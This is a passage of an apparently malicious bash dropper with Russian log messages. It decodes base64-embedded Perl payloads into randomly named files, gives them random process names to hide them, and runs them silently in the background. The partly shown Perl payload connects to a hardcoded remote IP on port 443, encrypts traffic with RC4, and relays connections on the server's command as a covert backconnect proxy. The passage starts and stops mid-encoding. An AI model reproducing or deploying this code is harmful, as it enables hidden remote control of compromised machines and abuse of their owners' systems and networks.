a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #16 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" perl ./$PAYLOAD_NAME > /dev/null 2>&1) & else echo "[RUNNER] Компонент #16 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" ./$PAYLOAD_NAME > /dev/null 2>&1) & fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 17 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzYyLjYwLjEzMS4yMDInOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg 